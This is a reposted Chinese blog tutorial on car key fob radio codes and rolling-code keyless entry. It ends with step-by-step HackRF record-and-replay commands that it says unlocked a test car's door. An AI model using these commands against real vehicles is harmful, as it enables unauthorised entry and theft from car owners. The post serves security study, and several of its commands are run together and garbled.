0


利用HACKRF进行射频信号重放攻击

射频信号重放攻击

本篇文章介绍了射频的基础知识还有目前汽车钥匙的现状,并简介了如何利用HACKRF进行射频信号重放攻击

射频基础知识

无线射频遥控器编码特点

目前市场主要有固定码、学习码、滚动码的遥控器,简单分析一下各自的特点:

固定码:

​又叫焊码、硬件码,需要用电烙铁来改变地址。代表IC:编码PT2262(用在遥控器端);解码PT2272(用在主机端)。4位按钮的地址编码组合为:3的8次方(6561)。安全度很不高,易被复制。

学习码:

安全度相对较高,100万组编码大大降低使用上编码重复的机率;
加装配件简单,因为主机本身不具有固定的地址编码;
所有的探测器和遥控器用着各不相同的编码;
主机学习各配件的编码即可工作;因此加装配件只须在主机上学习录入即可,遥控器即使丢失也不用担心,只须在主机上删除其编码。

滚动码:
滚动码技术 利用一种负载的非线性加密算法来实现编码加密。滚动码本身由固定码和跳码组成,其中固定码 是初步认证手段,而跳码 则由作为发送机的钥匙根据预先存储在加密芯片中的编码密码来产生,在跳码中包含了键值、计算器溢出位、识别码和同步计数器等信息。

在每一次射频消息的通讯过程中,滚动码都会重新产生然后作为一个变量添加到所要发送的消息中,这样每一次加密之后的消息在传输中都会变得不同。而接收方可以从之前的通信状况和预置在汽车中的固定码中预测滚动码的下一个值,这样就可以通过比较钥匙发送的滚动码和汽车预测的滚动码的匹配程序来验证报文的有效性.

汽车钥匙现状

当前主流的汽车厂商都在自己的汽车钥匙中使用了射频技术,无线射频钥匙基本上已经成功取代传统的机械钥匙,成为汽车钥匙的主流。作为信息安全通讯高要求的使用场合,汽车厂商在汽车和汽车钥匙之间的无线射频通讯过程中采用了**RKE(remote keyless entry,远程无钥匙进入系统)PKE (passive keyless entry,被动无钥匙进入系统)**。PKE/RKE射频通讯系统都工作在ISM自由频段 **(125kHz, 315MHz,434MHz)**,这两种系统都有各自的信息安全通讯机制,并且工作方式都有所不同,但是这两者都采用了滚动码机制对射频通信进行安全防护。

在实际的汽车无钥匙解锁场景中

在实际应用中,汽车钥匙向汽车基站发送消息时会携带一个滚动码,汽车在执行命令之前会首先验证滚动码正确性,进而判断射频信息的正确性。

​编码器检测到按键输入, 把系统从省电状态中唤醒, 同步记数加1 , 与序列号一起经密匙加密后形成密文数据, 并同键值等数据发送出去。由于同步计数值每次发送都不同, 即使是同一按键多次按下也不例外。同步计数自动向前滚动, 发送的码字不会再发生。因此被称为滚动码。同步计数跟编码器序号一个64位一起经过DES加密,DES密钥为厂家独有,必须保密。加密之后的密文则通过射频系统发射出去。

接收端接收到密文之后,通过厂家的DES密钥进行解密,解密之后得到同步计数和编码序号。首先检测编码器需要是否与接收器的序号相对应,如果对应,就检测同步计数是否在同步窗内,也就是说是否大于本机的保存同步计数但是又不大得太多,如果大得太多,本机就再作一次同步。如果在同步窗口中,通知执行机构执行用户命令,比如说打开门锁或者关闭门锁之类的。

由于加密算法能够把明文打散,因此,码得滚动会使得发射的码变化差异很大而难以破解,由于同步计数的存在,重复发送也没有效果,因此要攻破该类系统就要攻破DES算法。同步计数为16 位, 可达2**16 =65536 , 若每天用10 次, 则有1812年的使用周期。32位的序列号, 容量为232 = 42 亿, 可以完全满足生产要求。

但是滚动码机制存在一个问题,在设计之初滚动码被设为在信息传输次数达到2^16次时, 就可能出现重复的情况。显然对于当前的技术而言,攻破使用2^16次就重复的滚动码安全机制并不是难以完成的。因此当某个攻击者获取到了多次有效的钥匙和汽车之间的信息交换情况,那么整个滚动码的安全机制就可以通过穷举的方式找到当前对应的滚动码,然后攻击者就可以通过找到的滚动码进行相应的消息变换之后,将消息发送给汽车使其完成指定的操作,达到攻击、破坏、窃取财物的目的,对使用者造成经济损失。

工具

Gqrx

启动程序后,点击左上角按钮,然后长按遥控器按钮发送信号,我们可以发现信号频率在433.145 MHZ左右
1MHZ=1000000HZ
在这里插入图片描述

经检测频率发现,滚动码出现了两种不同的频率同时出现在频谱图上,固定码只有一种。

信号在两个频点有很强的能量,因此这是双频点的FSK信号,即用载波频率的变化来表示被传信息的状态,被调载波的频率随二进制序列0,1的状态而变化。中心频率点大约在433.98MHZ。车钥匙每次按键无论时间长短,都产生两端信号。

HacKRF one

HackRF 是由 Great Scott Gadgets 设计和制造的开源 SDR 硬件,其可以发送或接收 1 MHz 到 6 GHz 的无线电信号。目前 HackRF 的具体版本为 HackRF One。

常用命令

hackrf_info    # 查看 Hack RF 连接信息
hackrf_transfer    # 基于文件进行发送和接收 SDR
hackrf_transfer -h    # 查看 hackrf_transfer 帮助信息

# 录制信号
# -r:将数据存储到文件中
# -f:中心频率,单位 Hz
# -s:采样率,单位 Hz(4/8/10/12.5/16/20 MHz,默认 10 MHz)
# -n:采样数量(默认值是无限的)
# -a:设置功放(1 表示开启,0 表示关闭)
# -g:设置 Rx VGA 增益(0 到 62 dB 之间,每次增加 2 dB)
# -l:设置 Rx LNA 增益(0 到 40 dB 之间,每次增加 8 dB)
hackrf_transfer -r capture.raw -f 315000000 -l 8/16/24 -g 20/40 [-s 2000000 -n 10000000 -a 1]

# 重放信号
# -t:从文件中读取数据
# -x:设置 Tx VGA 增益(0 到 47 dB 之间,每次增加 1 dB)
# -R:重复发送模式(默认为关闭)
hackrf_transfer -t capture.raw -f 315000000 -x 40 [-s 2000000 -a 1]

一般无线钥匙工作频段都在 315 Mhz、433 Mhz。

重放攻击

打开命令行终端,利用上面获取的射频频率录制相应的射频信号、

hackrf_transfer -r lab.raw -f434015700-g16-l32-a1-s8000000-b4000000-r 录制射频文件名  -f 射频频率   其他参数无需更改。

执行命令后,把遥控器靠近HackRFOne设备,然后按开门按键几次,然后在命令行窗口按Ctrl + C可完成录制。

然后利用录制到的射频信号进行重放


hackrf_transfer -t lab.raw -f434015700-x47-a1-s8000000-b4000000-t 重放射频文件名   -f 射频频率   其他参数无需更改。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sPRFLjKE-1666926600212)(images/f130a8419fadaecb78f991af5affbb5efe82a8cd1ffa3fb78bd972c2518e41a0.png)]

此时我们会神奇的发现被测车辆的车门被重放打开

参考:
《无线点安全攻防大揭秘》
https://blog.csdn.net/qq_44709006/article/details/123439520
https://howiezhao.github.io/2020/01/22/hackrf/
https://www.freebuf.com/articles/wireless/165566.html


本文转载自: https://blog.csdn.net/Refrain_mh/article/details/127567993
版权归原作者 重启艺术大师 所有, 如有侵权,请联系我们删除。

“利用HACKRF进行射频信号重放攻击”的评论:

还没有评论